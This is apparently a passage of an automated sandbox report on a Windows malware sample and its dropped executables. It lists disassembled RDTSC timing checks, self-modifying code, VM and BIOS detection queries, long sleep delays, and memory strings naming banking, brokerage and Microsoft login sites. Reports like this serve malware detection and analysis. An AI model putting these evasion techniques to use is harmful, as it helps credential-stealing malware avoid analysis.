Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609361 second address: 60939F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FAAF8FC5094h 0x00000011 popad 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 adc si, 6CDDh 0x00000019 movzx esi, dx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609443 second address: 60944C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6095CB second address: 6095CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609903 second address: 609907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609907 second address: 609922 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5097h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609922 second address: 609999 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAAF912802Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FAAF9128030h 0x00000012 pop edi 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FAAF9128028h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 jns 00007FAAF9128026h 0x0000003b mov esi, ecx 0x0000003d xchg eax, ebx 0x0000003e jmp 00007FAAF9128039h 0x00000043 push eax 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609999 second address: 60999D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60A844 second address: 60A8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jns 00007FAAF9128036h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FAAF9128028h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D2E62h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FAAF9128028h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov dword ptr [ebp+1247704Ch], ebx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 ja 00007FAAF9128028h 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60B98D second address: 60B997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60CFB6 second address: 60CFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60CFBA second address: 60CFC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60CFC0 second address: 60D026 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAAF9128028h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d movsx esi, bx 0x00000010 and edi, dword ptr [ebp+122D2E56h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FAAF9128028h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 or di, A571h 0x00000037 push 00000000h 0x00000039 mov esi, dword ptr [ebp+122D2EA2h] 0x0000003f xchg eax, ebx 0x00000040 js 00007FAAF912803Ch 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60F09E second address: 60F0A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60F0A4 second address: 60F114 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAAF912802Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FAAF9128028h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movzx esi, bx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FAAF9128028h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 push 00000000h 0x00000048 jl 00007FAAF912802Ch 0x0000004e mov dword ptr [ebp+122D1D75h], ecx 0x00000054 push eax 0x00000055 pushad 0x00000056 jbe 00007FAAF9128028h 0x0000005c pushad 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 pop edi 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 612AAA second address: 612AFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007FAAF8FC5086h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e jmp 00007FAAF8FC5099h 0x00000013 pop eax 0x00000014 nop 0x00000015 mov bh, 0Dh 0x00000017 mov edi, edx 0x00000019 push 00000000h 0x0000001b or bh, 00000004h 0x0000001e push 00000000h 0x00000020 pushad 0x00000021 clc 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 jmp 00007FAAF8FC5093h 0x00000029 push eax 0x0000002a pushad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 615AF3 second address: 615B88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007FAAF9128026h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FAAF9128028h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 jmp 00007FAAF9128036h 0x0000002e add dword ptr [ebp+122D394Fh], ebx 0x00000034 pushad 0x00000035 jns 00007FAAF9128035h 0x0000003b mov dx, 8721h 0x0000003f popad 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FAAF9128028h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000014h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e mov ebx, dword ptr [ebp+122D1F2Dh] 0x00000064 push eax 0x00000065 push ecx 0x00000066 push edi 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 617BA0 second address: 617BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jp 00007FAAF8FC5086h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 617BBF second address: 617C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FAAF912802Ah 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D31D1h], edx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FAAF9128028h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push edi 0x00000035 pushad 0x00000036 push esi 0x00000037 pop ecx 0x00000038 mov dword ptr [ebp+122D3A1Fh], ecx 0x0000003e popad 0x0000003f pop edi 0x00000040 ja 00007FAAF9128026h 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007FAAF912802Ch 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 618BD7 second address: 618C7D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FAAF8FC5088h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 ja 00007FAAF8FC5094h 0x0000002a jo 00007FAAF8FC508Eh 0x00000030 je 00007FAAF8FC5088h 0x00000036 push edi 0x00000037 pop edi 0x00000038 mov edi, ecx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007FAAF8FC5088h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 mov bx, 84EEh 0x0000005a mov dword ptr [ebp+122D39B1h], ebx 0x00000060 push 00000000h 0x00000062 mov bl, E9h 0x00000064 mov bh, 9Fh 0x00000066 xchg eax, esi 0x00000067 jl 00007FAAF8FC509Ch 0x0000006d jmp 00007FAAF8FC5096h 0x00000072 push eax 0x00000073 pushad 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 618C7D second address: 618C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 619B19 second address: 619B3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAAF8FC5090h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jbe 00007FAAF8FC5086h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 619B3D second address: 619B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61AB40 second address: 61AB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61AB44 second address: 61AB69 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAAF9128039h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61AB69 second address: 61AB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61AB6D second address: 61AB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAAF9128038h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61BD49 second address: 61BD4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61D9DE second address: 61D9E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61D9E2 second address: 61D9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61D9E8 second address: 61D9F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAAF912802Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61EA7A second address: 61EA8E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAAF8FC508Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61EA8E second address: 61EAFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FAAF9128028h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+124538DEh], edx 0x0000002b push 00000000h 0x0000002d sbb bx, 2514h 0x00000032 push 00000000h 0x00000034 or dword ptr [ebp+122D3666h], ecx 0x0000003a xchg eax, esi 0x0000003b jmp 00007FAAF9128034h 0x00000040 push eax 0x00000041 pushad 0x00000042 jmp 00007FAAF912802Eh 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 61F9A2 second address: 61FA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FAAF8FC5088h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jmp 00007FAAF8FC508Bh 0x00000027 mov bh, al 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FAAF8FC5088h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov ebx, dword ptr [ebp+122D35B5h] 0x0000004b push 00000000h 0x0000004d mov dword ptr [ebp+122D3073h], edi 0x00000053 push eax 0x00000054 pushad 0x00000055 jmp 00007FAAF8FC508Dh 0x0000005a pushad 0x0000005b ja 00007FAAF8FC5086h 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Special instruction interceptor: First address: F67A87 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Special instruction interceptor: First address: F67994 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Special instruction interceptor: First address: 110C5DB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Special instruction interceptor: First address: 11A0D70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Special instruction interceptor: First address: 45DCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Special instruction interceptor: First address: 5FB99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Special instruction interceptor: First address: 5FA8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Special instruction interceptor: First address: 62355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Special instruction interceptor: First address: 68BFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Special instruction interceptor: First address: 69FD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Special instruction interceptor: First address: 69FE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Special instruction interceptor: First address: 865762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Special instruction interceptor: First address: 8C4BDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Memory allocated: 48C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Memory allocated: 6AD0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Code function: 13_2_005D89CE rdtsc

13_2_005D89CE

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 5236	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 776	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 504	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 936	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 3544	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe TID: 5140	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe, 44WNAJWW05E0258PKFVID8DSXYO93MX.exe, 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2626425204.000000000081D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BVGvbpplT8.exe, BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D83000.00000004.00000020.00020000.00000000.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarer
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
